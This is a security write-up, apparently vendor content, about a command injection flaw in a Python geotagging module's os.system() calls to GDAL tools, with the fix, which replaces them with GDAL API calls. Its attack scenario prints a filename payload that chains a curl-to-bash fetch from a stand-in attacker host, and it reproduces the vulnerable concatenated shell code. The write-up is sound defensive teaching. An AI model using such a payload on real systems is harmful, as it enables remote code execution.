How Command Injection Happens in Python os.system() and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | OS Command Injection |
| CWE | CWE-78 |
| Language | Python |
| Risk | Arbitrary command execution on the host |
| Root Cause | Unsanitized f variable concatenated into os.system() |
| Fix | Replaced shell calls with gdal.Translate() / gdal.Warp() API |
Introduction
The src/O4_Geotag.py file is responsible for geotagging tile images — converting JPEG tiles into georeferenced GeoTIFF files using coordinate transformations. It's a quiet, utility-style module. But buried inside its tile-processing logic, at line 26, was a critical command injection vulnerability that could hand an attacker full shell access to the host machine.
The culprit? Two consecutive os.system() calls that built shell commands by concatenating an unsanitized file path variable f directly into strings passed to gdal_translate and gdalwarp:
os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
+ str(xmin) + " " + str(ymax) + " " + str(xmax) + " "
+ str(ymin) + " -a_srs epsg:3857 " + f + " "
+ f.replace(".jpg","_tmp.tif"))
os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
+ "-t_srs epsg:4326 -ts 4096 4096 -rb "
+ f.replace(".jpg","_tmp.tif") + " " + f.replace(".jpg",".tif"))
This is a textbook example of CWE-78, and it's more dangerous than it might initially appear.
The Vulnerability Explained
Why os.system() Is Dangerous Here
os.system() in Python doesn't just run a program — it hands the entire string to the system's shell (/bin/sh on Unix, cmd.exe on Windows). That shell interprets the string, which means it also interprets shell metacharacters like:
;— command separator&&— AND chaining|— pipe to another command`— command substitution$()— command substitution>/>>— output redirection
The variable f in this code represents a file path — it comes from file enumeration or user-supplied configuration input. If an attacker can influence the value of f, they can inject arbitrary shell commands.
The Vulnerable Code (Before Fix)
# Line 26-27 in src/O4_Geotag.py — VULNERABLE
os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
+str(xmin)+" "+str(ymax)+" "+str(xmax)+" "+str(ymin)
+" -a_srs epsg:3857 "+f+" "+f.replace(".jpg","_tmp.tif"))
os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
+"-t_srs epsg:4326 -ts 4096 4096 -rb "
+f.replace(".jpg","_tmp.tif")+" "+f.replace(".jpg",".tif"))
A Concrete Attack Scenario
Imagine f is populated from a file listing or a GUI input field. An attacker — or a malicious filename on disk — supplies:
tile_image.jpg; curl http://attacker.com/shell.sh | bash
The resulting os.system() call becomes:
gdal_translate -of Gtiff ... tile_image.jpg; curl http://attacker.com/shell.sh | bash tile_image_tmp.tif
The shell executes gdal_translate as intended, then executes the injected curl | bash command with the same privileges as the Python process. On a server or workstation running this geotag pipeline, that's a full remote code execution primitive.
Even coordinate values like xmin, xmax, ymin, ymax — while numeric in normal operation — could be manipulated if they flow from untrusted configuration, compounding the attack surface.
Real-World Impact
For an application processing geospatial imagery — potentially running as part of an automated pipeline or exposed to user-uploaded content — this vulnerability could lead to:
- Arbitrary command execution on the processing server
- Data exfiltration of imagery, credentials, or configuration files
- Persistence via cron jobs or SSH key injection
- Lateral movement within the network from the compromised host
The Fix
What Changed
The fix replaces both os.system() shell invocations with direct calls to the GDAL Python API. This eliminates the shell from the execution path entirely — no shell means no shell injection.
Before vs. After
Before (vulnerable):
import os
os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
+str(xmin)+" "+str(ymax)+" "+str(xmax)+" "+str(ymin)
+" -a_srs epsg:3857 "+f+" "+f.replace(".jpg","_tmp.tif"))
os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
+"-t_srs epsg:4326 -ts 4096 4096 -rb "
+f.replace(".jpg","_tmp.tif")+" "+f.replace(".jpg",".tif"))
After (fixed):
from osgeo import gdal
gdal.Translate(
f.replace(".jpg", "_tmp.tif"),
f,
format="GTiff",
creationOptions=["COMPRESS=JPEG"],
outputBounds=[xmin, ymax, xmax, ymin],
outputSRS="epsg:3857"
)
gdal.Warp(
f.replace(".jpg", ".tif"),
f.replace(".jpg", "_tmp.tif"),
format="GTiff",
creationOptions=["COMPRESS=JPEG"],
srcSRS="epsg:3857",
dstSRS="epsg:4326",
width=4096,
height=4096,
resampleAlg=gdal.GRA_Bilinear
)
Why This Fix Works
The key insight is that gdal.Translate() and gdal.Warp() are Python function calls, not shell commands. When you pass f as an argument to gdal.Translate(), it is treated as a data value — a filename — not as a string to be interpreted by a shell. There is no shell involved, so there are no shell metacharacters to exploit.
Specifically:
-
No shell spawned:
gdal.Translate()calls the GDAL C library directly through Python bindings. The value offis passed as a file path argument, never interpolated into a shell string. -
Parameters are typed:
outputBounds,outputSRS,width,heightare passed as typed Python arguments (list, string, int), not concatenated into a command string where they could be manipulated. -
Same functionality, zero shell surface: The fix preserves all the geotag behavior — JPEG compression, coordinate bounds, SRS transformations, output resolution — while removing the injection vector entirely.
-
Bonus: better error handling: The GDAL Python API raises Python exceptions on failure, whereas
os.system()only returns an exit code that is easy to ignore.
Prevention & Best Practices
1. Never Use os.system() with Variable Input
os.system() is essentially eval() for shell commands. Treat it with the same suspicion. If you find yourself building a shell command string with + concatenation or f-strings, stop and look for a library API.
2. Prefer Library APIs Over Shell Commands
Most command-line tools have Python bindings:
| Shell Command | Python API |
|---|---|
gdal_translate |
gdal.Translate() |
gdalwarp |
gdal.Warp() |
ffmpeg |
ffmpeg-python library |
convert (ImageMagick) |
Pillow / wand |
git |
GitPython |
3. If You Must Use subprocess, Use Argument Lists
When no library API exists, use subprocess.run() with a list of arguments, never shell=True:
# UNSAFE — still vulnerable to injection
import subprocess
subprocess.run("gdal_translate ... " + f, shell=True)
# SAFE — f is treated as data, not shell syntax
import subprocess
subprocess.run([
"gdal_translate",
"-of", "GTiff",
"-co", "COMPRESS=JPEG",
"-a_ullr", str(xmin), str(ymax), str(xmax), str(ymin),
"-a_srs", "epsg:3857",
f,
f.replace(".jpg", "_tmp.tif")
])
4. Run Static Analysis
Tools that detect this pattern automatically:
- Bandit (
B605,B607): Flagsos.system()andsubprocesswithshell=True - Semgrep: Rule
python.lang.security.audit.subprocess-shell-true.subprocess-shell-true - CodeQL:
py/command-line-injectionquery - OrbisAI: Detected this exact vulnerability automatically (see below)
5. Apply Principle of Least Privilege
Even with the fix, ensure the process running this geotag pipeline has only the filesystem permissions it needs. Defense in depth means a compromised process should have limited blast radius.
Security Standards
- OWASP: Command Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Key Takeaways
os.system()with concatenated file paths is always dangerous — inO4_Geotag.py, the variableffrom file enumeration was the injection point for bothgdal_translateandgdalwarpcalls.- The GDAL Python API (
osgeo.gdal) is a direct, safe replacement —gdal.Translate()andgdal.Warp()accept the same parameters as their CLI counterparts without invoking a shell. - Coordinate values (
xmin,xmax,ymin,ymax) were also part of the shell string — even seemingly numeric values can become injection vectors if their origin is untrusted. - Switching from shell commands to library APIs improves both security and error handling — the GDAL API raises Python exceptions rather than silently returning a non-zero exit code.
- Geospatial processing pipelines are high-value targets — they often run with elevated filesystem access and process files from diverse, potentially untrusted sources.
How Orbis AppSec Detected This
- Source: The variable
f, representing a file path sourced from file enumeration or user-supplied GUI/configuration input insrc/O4_Geotag.py - Sink:
os.system("gdal_translate ... " + f + ...)andos.system("gdalwarp ... " + f.replace(...))at line 26–27 ofsrc/O4_Geotag.py - Missing control: No sanitization, escaping, or allowlist validation was applied to
fbefore it was interpolated into the shell command string - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Replaced both
os.system()shell invocations with directgdal.Translate()andgdal.Warp()Python API calls, eliminating the shell interpreter from the execution path entirely
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in O4_Geotag.py is a reminder that command injection doesn't require a web form or an HTTP endpoint — it can live quietly in a geospatial processing utility, waiting for a maliciously named file or a tampered configuration value. The pattern of building shell command strings through string concatenation is one of the most persistent anti-patterns in Python codebases, largely because os.system() feels convenient and familiar.
The fix here is clean and instructive: the GDAL Python bindings (osgeo.gdal) provide a first-class API that accepts the same parameters as the CLI tools, with no shell involved. Whenever you find yourself reaching for os.system() or subprocess.run(..., shell=True) with variable data, ask first: does this tool have a Python API? In the case of GDAL, the answer is yes — and using it makes the code both safer and more maintainable.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Command Injection
- OWASP OS Command Injection Defense Cheat Sheet
- GDAL Python API — gdal.Translate()
- GDAL Python API — gdal.Warp()
- Semgrep rule: subprocess-shell-true
- fix: use subprocess instead of os.system in O4_Geotag.py